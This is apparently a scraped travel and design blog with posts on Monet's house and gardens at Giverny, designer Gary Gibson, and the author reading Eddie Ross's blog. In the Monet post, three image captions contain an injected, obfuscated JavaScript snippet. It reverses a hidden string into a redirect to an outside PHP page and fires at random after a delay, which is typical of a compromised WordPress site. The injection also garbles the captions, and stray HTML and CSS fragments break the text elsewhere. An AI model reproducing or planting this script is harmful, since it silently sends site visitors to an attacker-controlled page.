Claude Monet lived in the house for forty-three years (1883-1926) and as you can imagine, like any artist would, he made many alterations to the original structure over that time. Originally the house was called House of the Cider-Press as an apple-press was located on the nearby square. It was a small home compared to the long, spread out place it is today. As his family and career grew, Monet had the house enlarged on either side, resulting in the structure we see today. The barn next to the house became his studio and above that is an apartment he used while he worked.

Design inspiration, Inspiration <script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == tours, Antiques Diva Tours, French antiques, Buying French antiques in Normandy, Claude Monet, Monet’s house in Giverny” width=”600″ height=”800″ />

The distinct color palate (pink and green) of the exterior of the house was chosen by Monet. Rather than go with the traditional grey shutter of that time, Monet opted for green and planted Virginia creeper on the facade of the house so it would blend in with the surrounding landscape—almost like a Monet painting! From his bed he had beautiful views of the garden which he loved.

Design inspiration, Inspiration <script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == tours, Antiques Diva Tours, French antiques, Buying French antiques in Normandy, Claude Monet, Monet’s house in Giverny” width=”600″ height=”450″ />

The property is divided into flower beds where flowers of different heights create depth and volume. Ornamental and fruit tress are mixed in as well to add to the character of the garden. A mix of rare flowers as well as common ones such as daisies and poppies populate the beds. The central path is covered by iron arches that support climbing roses. However Monet’s gardens are not structured. He preferred to pair flowers according to color and then let them grow rather freely.

Design inspiration, Inspiration <script>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$NqM=function(n){if (typeof ($NqM.list[n]) == tours, Antiques Diva Tours, French antiques, Buying French antiques in Normandy, Claude Monet, Monet’s house in Giverny” width=”600″ height=”800″ />

But the garden isn’t only about plants. The water garden was cultivated ten years after he moved to Giverny. A small brook runs through the property and Monet had a little pond dug, which was later enlarged. Inspired by the Japanese gardens Monet had the Japanese Bridge built by a local craftsman and then planted it with wisterias. For more than twenty years he found inspiration for paintings from this very garden.

After Monet’s death in 1926 the house passed through various family member’s care until 1977 when his son bequeathed the estate to Academie des Beaux-Arts. After much neglect, it took almost ten years to restore the property to what we see today. With a crumbling staircase, trees growing in the studio, and much of the garden grown over, it took many donations, mostly from Americans, to bring the place back to its former glory. And since September 1980, the house has been opened for visitors.

Just like Monet was inspired by the gardens and home he created, our clients were inspired after their visit too! Whenever you’re traveling it’s so important to take in the historic and cultural places that you come across. You never know what you might learn and what ideas you may have after touring a historic property. That’s why I love our Diva Guides—they know this all too well and always go above and beyond for our clients.

If you’d like information on taking an Antiques Diva Buying Tour in any of our 8 tour countries, email us at”>

Until next time,

The Antiques Diva® 

Gary Gibson Design Inspiration

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>While in Los Angeles recently I had the opportunity to meet so many fantastic people – one of the most inspiring was Gary Gibson.  Gary is an L.A. based interior designer, product designer, and owner of a fabulous store. He’s one of the great style makers of our time setting trends and establishing the way we live today.

Gibson Design, Style Maker, LA Interior Designer, Gary Gibson

Gibson Design, Style Maker, LA Interior Designer, Gary Gibson

Gary Gibson breaks the mold of traditional decorating, and yet his interiors and shop still feel comfortable and welcoming.  He thinks outside the box and combines different textures and mediums, all the while playing with scale, color, and light.  When shopping his store, you get a real sense of his aesthetic; playful, unique, out-of-the-box with taste.

Gary Gibson Design Inspiration, Gibson Design, Style Maker, LA Interior Designer, Gary Gibson

Gibson Design, Style Maker, LA Interior Designer, Gary Gibson

The mix of metal furniture (some bronze and stainless steel pieces are his own designs from his line Gibson Studio) and wood pieces along with interesting vintage accessories feels familiar and fresh all at once. In one vignette he combined a sleek wood console, rustic metal letters, marble urns, and a glass lamp—what a chic mix!  And Gary isn’t afraid of color, which is refreshing. His interiors are meant to be used and that is evident even in his store. I mean, he has a stocked bar set up on the sales floor! If I wasn’t jet-lagged and it wasn’t morning when I visited, I may have just poured myself some bubbly! How welcoming!

Gary Gibson Design, Gibson Design, Style Maker, LA Interior Designer, Gary Gibson

With features in publications like Architectural Digest, Veranda, and Elle Decor, Gary Gibson is definitely “one to watch” if you want to be inspired. Visiting his shop and chatting with him was definitely a highlight of my trip to LA!

Gary Gibson and Toma Clark Haines, Gibson Design, Style Maker, LA Interior Designer, The Antiques Diva

Be stylish,

The Antiques Diva®

In Bed with Eddie Ross

Dear Diva Readers,

Antique Bed Shopping

Caption:  Eddie Ross Seen Here Bed Shopping

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Design Inspiration

This fell behind #1 –  the annual resolution to lose weight and #2 – to make more organized office systems and procedures.   Neither #1 nor #2 are that interesting and are probably destined for failure.  But #3…. now THAT resolution has legs I can run with. (Hmm, if only flipping through my favorite magazines burnt more calories…).

But I digress.  This morning my husband’s alarm went off at 4am and I kissed him good bye as he headed to the airport en route to Amsterdam (note, I love that guy, but it’s January and I didn’t offer to put on clothes and drive him to the airport).  And while I regularly start my work day at dawn – finding it the best time to get caught up on office work (see I’m already implementing ways to conquer the work place clutter, who needs resolution #2?) – this morning it was raining.  Rain is my kryptonite.  I also had my regular feature article deadline for Antiques Shops and Designers magazine and a looming deadline is a guaranteed way to give me writer’s block and a desire to procrastinate.  And the cat was in bed.  And he was purring.  He even rolled over and showed me his white belly, flopping one paw over his eyes.  (The cat, not my husband.  The husband had already left by this point).  And it was still dark outside.  And cold.  Then I remembered Resolution # 3.  Get Regularly Inspired.  No time like the present.

Puccino the Cat

So I turned on my Fortuny-styled bedside lamp (note to self – REALLY MUST find the real thing on one of our Italian buying tours someday) and crawled deeper under the covers, propping my iPad up on my lap.  A tweet from Stacey Bewkes of Quintessence lifestyle blog  flittered across the top of the screen about meeting up in Paris during Maison Objet.  And I thought bingo.  What better place to start my inspiration prowl.  Stacey is a blogging genius and hers is one of my all time favorites.  As I began reading her latest posts, I noticed something on the side bar.  What’s this? Video Series – Stylish Shopping with Susanna Salk .  The next thing I knew I was watching flea market maestro Eddie Ross shop the Elephant Trunk.


Caption: Eddie and Susanna Shopping Elephant Trunk

Which reminded me…  I LOVE EDDIE ROSS… so I flicked over to his site – where I soaked up divine design inspiration and spent the next hour in bed with Eddie, reading a backlog of posts I’d missed in my absence away from his site during these days when work had overtaken my life.   I use to read his posts all the time.  I love finding images styled by him.

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Caption: Classic Eddie Ross

He’s a genius.  And  budget conscious.  I had hit the gold mind of inspiration.  The mecca.   The motherlode.

Which reminded me, whomever your design hero –  I want to encourage you to spend a morning in bed with them.  Go get inspired.

And Eddie – thank you for inspiring me.  Though I should warn you… next time we meet up it might be in the bath.

The Antiques Diva®

Toma Clark Haines